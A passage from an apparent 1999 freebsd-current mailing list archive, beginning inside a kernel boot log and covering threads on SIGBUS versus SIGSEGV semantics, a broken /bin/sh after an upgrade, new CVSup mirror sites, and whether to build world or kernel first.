atkbd: the current kbd controller command byte 0065
atkbd: keyboard ID 0x41ab (2)
kbdc: RESET_KBD return code:00fa
kbdc: RESET_KBD status:00aa
vt0 on isa
vt0: unkown s3, 80 col, color, 8 scr, mf2-kbd, [R3.20-b24]
atkbdc0 at 0x60-0x6f on motherboard
atkbd0 irq 1 on isa
kbd0: atkbd0, AT 101/102 (2), config:0x0, flags:0x3d0000
psm0: current command byte:0065
kbdc: TEST_AUX_PORT status:0000
kbdc: RESET_AUX return code:00fe
kbdc: RESET_AUX return code:00fe
kbdc: RESET_AUX return code:00fe
kbdc: DIAGNOSE status:0055
kbdc: TEST_KBD_PORT status:0000
psm0: failed to reset the aux device.
psm0 not found
sio0: irq maps: 0x1 0x11 0x1 0x1
sio0 at 0x3f8-0x3ff irq 4 flags 0x10 on isa
sio0: type 16550A
sio1: irq maps: 0x1 0x9 0x1 0x1
sio1 at 0x2f8-0x2ff irq 3 flags 0x10 on isa
sio1: type 16550A
wdc0 not found at 0x1f0
fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa
fdc0: FIFO enabled, 8 bytes threshold
fd0: 1.44MB 3.5in
vga0 at 0x3b0-0x3df maddr 0xa0000 msize 131072 on isa
fb0: vga0, vga, type:VGA (5), flags:0x7007f
fb0: port:0x3b0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000
fb0: init mode:24, bios mode:3, current mode:24
fb0: window:0xc00b8000 size:32k gran:32k, buf:0x0 size:0k
vga0: vga: WARNING: video mode switching is not fully supported on this adapter
VGA parameters upon power-up
50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 
bf 1f 00 4f 0d 0e 00 00 09 60 9c 8e 8f 28 1f 96 
b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
3d 3e 3f 0c 00 07 08 00 00 00 00 00 10 0e 00 ff 
VGA parameters in BIOS for mode 24
50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 
bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 
b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff 
EGA/VGA parameters to be used for mode 24
50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 
bf 1f 00 4f 0d 0e 00 00 09 60 9c 8e 8f 28 1f 96 
b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 
3d 3e 3f 0c 00 07 08 00 00 00 00 00 10 0e 00 ff 
npx0 on motherboard
npx0: INT 16 interface
imasks: bio c8000040, tty c300001a, net c6040000
SMP: enabled INTs: 1, 3, 4, 6, 16, 18, apic_imen: 0x00faffa5
BIOS Geometries:
 0:0209fe3f 0..521=522 cylinders, 0..254=255 heads, 1..63=63 sectors
 0 accounted for
Device configuration finished.
APIC_IO: Testing 8254 interrupt delivery
APIC_IO: Broken MP table detected: 8254 is not connected to IO APIC int pin 2
APIC_IO: routing 8254 via 8259 on pin 0
bpf: lo0 attached
ccd0-3: Concatenated disk drivers
Waiting 4 seconds for SCSI devices to settle
isp0: driver initiated bus reset of bus 0
SMP: AP CPU #1 Launched!
SMP: CPU1 apic_initialize():
     lint0: 0x00010700 lint1: 0x00010400 TPR: 0x00000010 SVR: 0x000001ff
isp0: 0.4 get user period 0xc offset 0x8 flags 0xfc00
isp0: 0.4 get current period 0x19 offset 0x0 flags 0xc5c0
isp0: 0.4 set current period 0xc offset 0x8 flags 0xfc00
pass0 at isp0 bus 0 target 4 lun 0
pass0: <SEAGATE ST15230W 0638> Fixed Direct Access SCSI-2 device 
pass0: Serial Number 00448359
isp0: 0.4 get current period 0x19 offset 0x8 flags 0xfc00
pass0: 20.000MB/s transfers (10.000MHz, offset 8, 16bit), Tagged Queueing Enabled
da0 at isp0 bus 0 target 4 lun 0
da0: <SEAGATE ST15230W 0638> Fixed Direct Access SCSI-2 device 
da0: Serial Number 00448359
isp0: 0.4 get current period 0x19 offset 0x8 flags 0xfc00
da0: 20.000MB/s transfers (10.000MHz, offset 8, 16bit), Tagged Queueing Enabled
da0: 4095MB (8386733 512 byte sectors: 255H 63S/T 522C)
Considering FFS root f/s.
changing root device to da0s1a
da0s1: type 0xa5, start 63, end = 3984119, size 3984057 : OK
da0s2: type 0x83, start 3984120, end = 8385929, size 4401810 : OK
WARNING: / was not properly dismounted
start_init: trying /sbin/init
Start pid=2 <pagedaemon>
Start pid=3 <vmdaemon>
Start pid=4 <syncer>



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 16:43:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP
	id C86E114FDF; Sat,  2 Oct 1999 16:43:01 -0700 (PDT)
	(envelope-from bde@zeta.org.au)
Received: from d244.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12])
	by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id JAA13348;
	Sun, 3 Oct 1999 09:44:06 +1000
Date: Sun, 3 Oct 1999 09:42:45 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-Sender: bde@alphplex.bde.org
To: John Polstra <jdp@polstra.com>
Cc: "David O'Brien" <obrien@FreeBSD.ORG>, current@FreeBSD.ORG,
	Alan Cox <alc@cs.rice.edu>
Subject: Re: Now that sigcontext is gone ...
In-Reply-To: <XFMail.991002122051.jdp@polstra.com>
Message-ID: <Pine.BSF.4.10.9910030928230.4614-100000@alphplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> >> > P.S.  This also reminds me that FreeBSD is non-standard relative
> >> > to Linux and all of the major vender commercial Unices in that a disallowed
> >> > access, such as a write to a read-only region of memory, generates
> >> > a SIGBUS rather than a SIGSEGV.
> >> 
> >> Yes, this even violates the 1996 POSIX spec.
> > 
> > So lets make the change for 4.0. :-)
> 
> Hang on, hang on.  This has been discussed in the mailing list
> before.  Bruce pointed out that it's useful for distinguishing between
> protection violations and unmapped pages.  He requested that we

I think the POSIX way is to use an auxiliary error code in siginfo_t to
distinguish the causes of the signal.  This only works for SA_SIGINFO
handlers.  We do something similar using the signal code of 3-arg signal
handlers.

> first implement the SA_SIGINFO support to the point where it could
> accomplish that before changing SIGBUS to SIGSEGV.  I think that makes
> sense.

SA_SIGINFO is implemented now.

More details on the POSIX signal numbers: SIGBUS is mainly for accesses
beyond the end of mmap()ed objects.  It's not clear what this means in
an address space with multiple mmap()ed objects and/or non-mmap()ed
objects.

Bruce



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 16:48:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from arnold.neland.dk (mail.neland.dk [194.255.12.232])
	by hub.freebsd.org (Postfix) with ESMTP id C6E8514F6F
	for <freebsd-current@FreeBSD.ORG>; Sat,  2 Oct 1999 16:48:24 -0700 (PDT)
	(envelope-from leifn@neland.dk)
Received: from localhost (localhost [127.0.0.1])
	by arnold.neland.dk (8.9.3/8.9.3) with ESMTP id BAA95247;
	Sun, 3 Oct 1999 01:48:14 +0200 (CEST)
	(envelope-from leifn@neland.dk)
Date: Sun, 3 Oct 1999 01:48:12 +0200 (CEST)
From: Leif Neland <leifn@neland.dk>
To: Matthew Dillon <dillon@apollo.backplane.com>
Cc: Bernd Walter <ticso@cicely.de>, freebsd-current@FreeBSD.ORG
Subject: Re: /bin/sh Exec format error
In-Reply-To: <199910022030.NAA51817@apollo.backplane.com>
Message-ID: <Pine.BSF.4.05.9910030145190.94243-100000@arnold.neland.dk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG



On Sat, 2 Oct 1999, Matthew Dillon wrote:

> 
> :On Sat, Oct 02, 1999 at 02:05:37PM +0200, Leif Neland wrote:
> :> Now system is hosed: it fails in rc.init (thereabout), because it claims /bin/sh: Exec format error.
> :> I can't enter single user mode either for same reason.
> :
> :What about using /bin/csh for single user mode?
> :
> 
>     Also, when all else fails try booting from a FreeBSD CD.  Altneratively
>     it may be possible to boot the normal kernel and use a FreeBSD CD as root
>     by typing 'boot /kernel -C' (or -c, I forget which).
> 

/bin/csh: Exec format error

So now I'll try fixit.flp, and I also have ordered a machine at work to
download an ISO of the install-cd. It should be ready monday...

Leif




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 16:57: 0 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id B90AC154A4
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 16:55:48 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id QAA06078;
	Sat, 2 Oct 1999 16:55:47 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id QAA33167;
	Sat, 2 Oct 1999 16:55:46 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.991002165546.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <Pine.BSF.4.10.9910030928230.4614-100000@alphplex.bde.org>
Date: Sat, 02 Oct 1999 16:55:46 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Bruce Evans <bde@zeta.org.au>
Subject: Re: Now that sigcontext is gone ...
Cc: current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Bruce Evans wrote:
> 
>> first implement the SA_SIGINFO support to the point where it could
>> accomplish that before changing SIGBUS to SIGSEGV.  I think that makes
>> sense.
> 
> SA_SIGINFO is implemented now.

Oh, when I checked it a couple of days ago it seemed like it wasn't
fully implemented.  But maybe it's at least up to what POSIX
requires after all.

John


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 16:57: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from cs.rice.edu (cs.rice.edu [128.42.1.30])
	by hub.freebsd.org (Postfix) with ESMTP
	id 43E55154E1; Sat,  2 Oct 1999 16:56:29 -0700 (PDT)
	(envelope-from alc@cs.rice.edu)
Received: (from alc@localhost)
	by cs.rice.edu (8.9.0/8.9.0) id SAA20614;
	Sat, 2 Oct 1999 18:56:17 -0500 (CDT)
Date: Sat, 2 Oct 1999 18:56:17 -0500
From: Alan Cox <alc@cs.rice.edu>
To: Bruce Evans <bde@zeta.org.au>
Cc: John Polstra <jdp@polstra.com>,
	"David O'Brien" <obrien@freebsd.org>, current@freebsd.org
Subject: Re: Now that sigcontext is gone ...
Message-ID: <19991002185617.L19202@cs.rice.edu>
References: <XFMail.991002122051.jdp@polstra.com> <Pine.BSF.4.10.9910030928230.4614-100000@alphplex.bde.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.5us
In-Reply-To: <Pine.BSF.4.10.9910030928230.4614-100000@alphplex.bde.org>; from Bruce Evans on Sun, Oct 03, 1999 at 09:42:45AM +1000
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, Oct 03, 1999 at 09:42:45AM +1000, Bruce Evans wrote:
> 
> I think the POSIX way is to use an auxiliary error code in siginfo_t to
> distinguish the causes of the signal.  This only works for SA_SIGINFO
> handlers.  We do something similar using the signal code of 3-arg signal
> handlers.
> 

From Solaris 2.6 _AND_ Digital Unix 4.0E:

      _________________________________________________________
      Signal    Code             Definition
      _________________________________________________________

     SIGSEGV  SEGV_MAPERR    address not mapped to object
              SEGV_ACCERR    invalid permissions for mapped object

     SIGBUS   BUS_ADRALN     invalid address alignment
              BUS_ADRERR     non-existent physical address
              BUS_OBJERR     object specific hardware error


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 17:17:17 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.du.gtn.com (mail.du.gtn.com [194.77.9.57])
	by hub.freebsd.org (Postfix) with ESMTP id 9D20B15465
	for <freebsd-current@FreeBSD.ORG>; Sat,  2 Oct 1999 17:16:55 -0700 (PDT)
	(envelope-from ticso@cicely8.cicely.de)
Received: from mail.cicely.de (cicely.de [194.231.9.142])
	by mail.du.gtn.com (8.9.3/8.9.3) with ESMTP id CAA25983;
	Sun, 3 Oct 1999 02:13:00 +0200 (MET DST)
Received: from cicely8.cicely.de (cicely8.cicely.de [10.1.2.10])
	by mail.cicely.de (8.9.0/8.9.0) with ESMTP id CAA53042;
	Sun, 3 Oct 1999 02:17:24 +0200 (CEST)
Received: (from ticso@localhost)
	by cicely8.cicely.de (8.9.3/8.9.2) id CAA92750;
	Sun, 3 Oct 1999 02:17:21 +0200 (CEST)
	(envelope-from ticso)
Date: Sun, 3 Oct 1999 02:17:21 +0200
From: Bernd Walter <ticso@cicely.de>
To: Leif Neland <leifn@neland.dk>
Cc: Matthew Dillon <dillon@apollo.backplane.com>,
	Bernd Walter <ticso@cicely.de>, freebsd-current@FreeBSD.ORG
Subject: Re: /bin/sh Exec format error
Message-ID: <19991003021720.A92734@cicely8.cicely.de>
References: <199910022030.NAA51817@apollo.backplane.com> <Pine.BSF.4.05.9910030145190.94243-100000@arnold.neland.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.BSF.4.05.9910030145190.94243-100000@arnold.neland.dk>; from Leif Neland on Sun, Oct 03, 1999 at 01:48:12AM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, Oct 03, 1999 at 01:48:12AM +0200, Leif Neland wrote:
> 
> /bin/csh: Exec format error
> 

Even if you boot the old kernel?
That's strange...


-- 
B.Walter                  COSMO-Project              http://www.cosmo-project.de
ticso@cicely.de             Usergroup                info@cosmo-project.de



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 17:49:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP
	id E0F7114DE1; Sat,  2 Oct 1999 17:48:36 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id RAA06296;
	Sat, 2 Oct 1999 17:48:36 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id RAA33415;
	Sat, 2 Oct 1999 17:48:35 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.991002174835.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
Date: Sat, 02 Oct 1999 17:48:35 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: current@freebsd.org
Subject: New CVSup mirror sites
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

We've added quite a few new CVSup mirror sites this year.  I thought
it might be a good idea to list them, in the hope that some of you
would help spread the load by switching to them for your CVSup
updates.

One common misconception is that cvsup(N+1).FreeBSD.org is somehow
less up-to-date than or not as good as cvsup(N).FreeBSD.org.  That's
not the case at all -- the numbers mean nothing.  For example, all 7
of the US mirror sites get their updates hourly from the same master
site.  (So do most of the non-US mirrors.)  The only reasons to choose
one over another are (1) to get a good network route to the mirror,
and (2) to get a lightly-loaded mirror.

In the US, cvsup[1-3] are very busy; clients get turned away from them
on a regular basis because they are already at their limit.  The other
4 mirrors are practically idle in comparison.  These are all screaming
fast, well-connected, well-maintained mirrors.  Give them a try if you
haven't already!

As far as I can reconstruct from the revision history of the FreeBSD
Handbook, these are the mirrors that have been added since the
beginning of 1999:

    Brazil
        cvsup2.br.FreeBSD.org
        cvsup3.br.FreeBSD.org

    China
        cvsup.cn.FreeBSD.org

    Czech Republic
        cvsup.cz.FreeBSD.org

    Finland
        cvsup2.fi.FreeBSD.org

    France
        cvsup.fr.FreeBSD.org

    Korea
        cvsup.kr.FreeBSD.org

    Netherlands
        cvsup2.nl.FreeBSD.org

    Russia
        cvsup2.ru.FreeBSD.org

    Spain
        cvsup.es.FreeBSD.org

    Taiwan
        cvsup2.tw.FreeBSD.org
        cvsup3.tw.FreeBSD.org

    United Kingdom
        cvsup2.uk.FreeBSD.org

    USA
        cvsup4.FreeBSD.org
        cvsup6.FreeBSD.org
        cvsup7.FreeBSD.org

---
John Polstra
CVSup Mirrormeister

PS - Please don't start that "Why don't we use round-robin DNS?"
discussion again.  There are technical reasons why it isn't feasible
currently.  Maybe someday.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 17:53:30 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.utexas.edu (wb3-a.mail.utexas.edu [128.83.126.138])
	by hub.freebsd.org (Postfix) with SMTP id 158B715469
	for <current@FreeBSD.org>; Sat,  2 Oct 1999 17:50:22 -0700 (PDT)
	(envelope-from rkw@dataplex.net)
Received: (qmail 17857 invoked by uid 0); 3 Oct 1999 00:50:21 -0000
Received: from dial-104-32.ots.utexas.edu (HELO nomad.dataplex.net) (128.83.176.128)
  by umbs-smtp-3 with SMTP; 3 Oct 1999 00:50:21 -0000
From: Richard Wackerbarth <rkw@dataplex.net>
To: <freebsd@gndrsh.dnsmgr.net>
Subject: Re: new sigset_t and upgrading: a proposal
Date: Sat, 2 Oct 1999 19:30:45 -0500
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <199910021645.JAA30398@gndrsh.dnsmgr.net> <19991002201511.EF75FBEF7@gw.nectar.com>
In-Reply-To: <19991002201511.EF75FBEF7@gw.nectar.com>
Cc: current@FreeBSD.org
MIME-Version: 1.0
Message-Id: <99100219475100.45272@nomad.dataplex.net>
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On 2 October 1999 at 9:45, "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net> wrote:
> 
> > When did we go wrong and start saying that users should build the world
> > before building a new kernel?    If it was ``I'' that said it, I full
> > retract any such statement, I was WRONG!.  It may have been said in the
> > patchkit days, or very early FreeBSD 1.x.
> 
> We build world first, because we need an up-to-date toolchain and config
> to build the kernel.
> 
> Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org

Why isn't the kernel BUILT automatically as a part of "buildworld"?
Except for the fact that the object directory is in the wrong place, why isn't
a kernel just like any other module?

If I were to create /usr/src/kernels/i386/GENERIC
and move (or link) the configuration in that directory as a source
cp /usr/src/sys/i386/conf/GENERIC /usr/src/kernels/i386/GENERIC/configuration

with a few minor changes, it would get build very much like (and at the same
time as) /usr/src/bin.

installworld could then install the kernel early in its sequence.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 18: 5:33 1999
Delivered-To: freebsd-current@freebsd.org
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by hub.freebsd.org (Postfix) with ESMTP id 25DA814DDB
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 18:05:29 -0700 (PDT)
	(envelope-from wollman@khavrinen.lcs.mit.edu)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id VAA32011;
	Sat, 2 Oct 1999 21:05:16 -0400 (EDT)
	(envelope-from wollman)
Date: Sat, 2 Oct 1999 21:05:16 -0400 (EDT)
From: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Message-Id: <199910030105.VAA32011@khavrinen.lcs.mit.edu>
To: Bruce Evans <bde@zeta.org.au>
Cc: current@FreeBSD.ORG
Subject: Re: Now that sigcontext is gone ...
In-Reply-To: <Pine.BSF.4.10.9910030928230.4614-100000@alphplex.bde.org>
References: <XFMail.991002122051.jdp@polstra.com>
	<Pine.BSF.4.10.9910030928230.4614-100000@alphplex.bde.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

<<On Sun, 3 Oct 1999 09:42:45 +1000 (EST), Bruce Evans <bde@zeta.org.au> said:

> More details on the POSIX signal numbers: SIGBUS is mainly for accesses
> beyond the end of mmap()ed objects.  It's not clear what this means in
> an address space with multiple mmap()ed objects and/or non-mmap()ed
> objects.

`Beyond the end of the object' refers to the situation where the
mmap()ed region was specified with a longer length than the underlying
object.  Thus, under the following procedure:

#define	PGSZ sysconf(_SC_PAGE_SIZE)
	fd = shm_open(...);
	ftruncate(fd, PGSZ);
	p = mmap(fd, ..., 2 * PGSZ, ...);

...an access to p at offsets in the interval [PGSZ,2*PGSZ) should
generate a SIGBUS.

-GAWollman

--
Garrett A. Wollman   | O Siem / We are all family / O Siem / We're all the same
wollman@lcs.mit.edu  | O Siem / The fires of freedom 
Opinions not those of| Dance in the burning flame
MIT, LCS, CRS, or NSA|                     - Susan Aglukark and Chad Irschick


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 18:33: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles527.castles.com [208.214.165.91])
	by hub.freebsd.org (Postfix) with ESMTP id D7FA415289
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 18:33:01 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id SAA02292;
	Sat, 2 Oct 1999 18:23:01 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199910030123.SAA02292@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: "Daniel C. Sobral" <dcs@newsguy.com>
Cc: Warner Losh <imp@village.org>,
	"Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
	"Jordan K. Hubbard" <jkh@zippy.cdrom.com>, dmaddox@conterra.com,
	Ollivier Robert <roberto@keltia.freenix.fr>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sat, 02 Oct 1999 13:15:07 +0900."
             <37F586CB.EBFC8D26@newsguy.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sat, 02 Oct 1999 18:23:00 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > Justin has said that porting old scsi aic to cam wouldn't be too hard,
> > but would still provide a level of buginess that is too high..
> > Otherwise, i'd have done that a long time ago...
> 
> I don't know, I have never used the aic driver before. It would seem
> that aic users were not that unhappy with the driver.

It worked for the people that it worked for.  But having played with 
various cards and combinations, I can say that its reputation as being 
a fragile, bug-ridden driver was very well earned.

-- 
\\ Give a man a fish, and you feed him for a day. \\  Mike Smith
\\ Tell him he should learn how to fish himself,  \\  msmith@freebsd.org
\\ and he'll hate you for a lifetime.             \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 20:10:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id 68B1E15392
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 20:10:00 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id C3DBB1CB0; Sun,  3 Oct 1999 11:09:56 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: "Daniel C. Sobral" <dcs@newsguy.com>
Cc: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
	current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal 
In-reply-to: Your message of "Sun, 03 Oct 1999 02:43:26 +0900."
             <37F6443E.D1F5A19A@newsguy.com> 
Date: Sun, 03 Oct 1999 11:09:56 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19991003030956.C3DBB1CB0@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Daniel C. Sobral" wrote:
> "Rodney W. Grimes" wrote:
> > 
> > These folks are 100% correct, some place some where we made a mistake
> > and are telling users to do things in the wrong order.  It might have
> > even been myself that caused this, I just can't recall when and who
> > said to build the world before building the kernel.  But now looking
> > at it in hindsight, this is plainly the wrong sequence, and we should
> > correct that error as soon as possible.
> > 
> > When did we go wrong and start saying that users should build the world
> > before building a new kernel?    If it was ``I'' that said it, I full
> > retract any such statement, I was WRONG!.  It may have been said in the
> > patchkit days, or very early FreeBSD 1.x.
> 
> It might have something to do with kernel's dependency on the tools
> installed by world, such as gas, gcc and config.

In the case of gcc/gas/ld etc we should be able to work around that.  If the
inline asm statements break on older gcc, then we should ifdef them to work
the way they used to before egcs required they be changed.

For things like config etc, that particular problem is almost over.  It
does very VERY little now and I can't see that we'll have incompatable
changes (apart from shooting it and using a lightweight kernel/module build
organizer/manager/whatever).  All config(8) does at present is three things:
1: build the Makefile and options files
2: extract fragments of the static configuration and export it in MI format
   for the bootstrap.
3: get in the way.

Thinks like libkvm, w, ps, top etc are usually best left till after a 'trial
by fire' of the new kernel IMHO.  Maybe a 'make afterkernel' or something
to rebuild "the usual culprits" to automate that so it doesn't require
a complete world as often.

Just some thoughts that might make things easier...

Cheers,
-Peter



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 22: 0:34 1999
Delivered-To: freebsd-current@freebsd.org
Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.95.76.54])
	by hub.freebsd.org (Postfix) with ESMTP id 4E95D14F4F
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 22:00:33 -0700 (PDT)
	(envelope-from sgk@troutmask.apl.washington.edu)
Received: (from sgk@localhost)
	by troutmask.apl.washington.edu (8.9.3/8.9.1) id WAA18797;
	Sat, 2 Oct 1999 22:05:11 -0700 (PDT)
	(envelope-from sgk)
From: Steve Kargl <sgk@troutmask.apl.washington.edu>
Message-Id: <199910030505.WAA18797@troutmask.apl.washington.edu>
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <99100219475100.45272@nomad.dataplex.net> from Richard Wackerbarth at "Oct 2, 1999 07:30:45 pm"
To: rkw@dataplex.net (Richard Wackerbarth)
Date: Sat, 2 Oct 1999 22:05:11 -0700 (PDT)
Cc: freebsd@gndrsh.dnsmgr.net, current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Richard Wackerbarth wrote:
> Why isn't the kernel BUILT automatically as a part of "buildworld"?
> Except for the fact that the object directory is in the wrong place, why isn't
> a kernel just like any other module?
> 

This may be difficult.  Which kernel do you build?  I use
the same source tree for two very different machines. So,
should it build GENERIC, CUSTOM1, or CUSTOM2?

-- 
Steve


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 22:45:10 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id C540614D7D
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 22:45:05 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p21-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.118])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id OAA13250;
	Sun, 3 Oct 1999 14:42:00 +0900 (JST)
Message-ID: <37F6EC46.5C7E4EA4@newsguy.com>
Date: Sun, 03 Oct 1999 14:40:22 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: Peter Wemm <peter@netplex.com.au>
Cc: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
